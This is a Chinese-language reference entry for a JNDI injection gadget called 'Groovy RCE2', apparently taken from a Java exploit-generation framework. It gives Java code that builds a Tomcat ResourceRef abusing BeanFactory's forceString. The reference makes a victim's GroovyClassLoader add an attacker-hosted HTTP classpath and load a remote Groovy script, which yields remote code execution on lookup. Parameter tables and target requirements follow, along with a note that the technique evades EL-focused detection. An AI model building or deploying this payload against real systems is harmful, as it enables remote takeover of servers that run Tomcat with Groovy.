- 类别:jndi 别名:— 优先级:50
- 作者:—
- 依赖:
tomcat(org.apache.naming.factory.BeanFactory/ResourceRef)、org.codehaus.groovy:groovy
构造一个 Tomcat org.apache.naming.ResourceRef,借 org.apache.naming.factory.BeanFactory 的 forceString 特性,对 groovy.lang.GroovyClassLoader 依次调用两个单 String 参数方法:addClasspath(url) 与 loadClass(name)。前者把攻击者的 HTTP 地址加入 classpath,后者远程加载并解析 <name>.groovy 脚本,从而在受害端 JNDI lookup 时执行任意 Groovy 表达式(RCE)。是一条自包含的 JNDI Reference 终端链(END),无需内层 gadget。
- 入口
tags:ResourceRef、TomcatBeanFactory、ENDResourceRef—— 本 gadget 产出的是 Tomcat 的ResourceRef(Reference子类),供上游 JNDI 注入入口 lookup。TomcatBeanFactory—— 标明其利用面依赖 Tomcat 的BeanFactory(forceString任意方法调用)。END—— 终端构件,自身即可完成利用,链在此终止。
- 衔接
nextTags:无(END,不再接下一环)。 excludes:无。
本类 implements Gadget,无基类。getObject 一次性构造完整 ResourceRef:
public Reference getObject() throws Exception {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add((RefAddr)new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add((RefAddr)new StringRefAddr("a", this.url));
ref.add((RefAddr)new StringRefAddr("b", this.name));
return ref;
}ResourceRef构造:className="groovy.lang.GroovyClassLoader"(BeanFactory 将实例化的 bean 类)、factory="org.apache.naming.factory.BeanFactory"。lookup 时 BeanFactory 会Class.forName("groovy.lang.GroovyClassLoader").newInstance()得到一个 GroovyClassLoader 实例。forceString是 TomcatBeanFactory的核心可利用点:其值"a=addClasspath,b=loadClass"声明「属性名a对应的 setter 用方法addClasspath、属性名b对应loadClass」。BeanFactory 原本只按 JavaBean setter 注入,forceString让它改为反射调用任意单 String 参数方法。- 于是注入阶段等价于:
gcl.addClasspath(this.url)→ 把攻击者 HTTP 服务器(如http://vps:port/)加入 GroovyClassLoader 的 classpath;再gcl.loadClass(this.name)→ 从该 classpath 远程拉取并加载<name>.groovy。Groovy 脚本被加载/初始化时其顶层代码(或静态块)即执行,达成任意 Groovy/命令执行。 - 属性
a/b的实际取值分别绑定用户参数url与name。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}invoke不调用chain.doCreate—— 印证END语义:自包含终端,不依赖内层 gadget,直接返回构造好的 ResourceRef。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
http地址 | 攻击者托管 Groovy 脚本的 HTTP 根地址,如 http://vps_ip:port/;作为 addClasspath 的参数 |
— | 任意 URL |
name |
script file name | 脚本名(不含扩展名),如 poc,将请求 http://vps_ip:port/poc.groovy;作为 loadClass 的参数 |
— | 任意脚本名 |
- 需目标同时具备:Tomcat 的
org.apache.naming.factory.BeanFactory(且未修复forceString任意方法调用;高版本 Tomcat 已收敛该行为)与org.codehaus.groovy:groovy(提供GroovyClassLoader)。 - 名为「Groovy RCE2」,是相对经典 EL/BeanFactory 利用的 Groovy 变体:不走 EL 表达式,而是用 GroovyClassLoader 的
addClasspath+loadClass组合远程加载脚本,绕过部分只针对 EL 的检测。 - 与 dbcp/Druid 系列不同,它不经 JDBC,直接在 JNDI lookup 阶段完成 RCE,故为
END终端。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 上游(消费
tags=ResourceRef / TomcatBeanFactory):JNDI 注入 Payload 入口 / LDAP、RMI Reference 返回场景。 - 同族(同为 Tomcat BeanFactory + 表达式/远程加载的 JNDI Reference 构件):
TomcatElRef(EL 表达式变体)、BeanshellRef等expression目录下的 Reference 构件。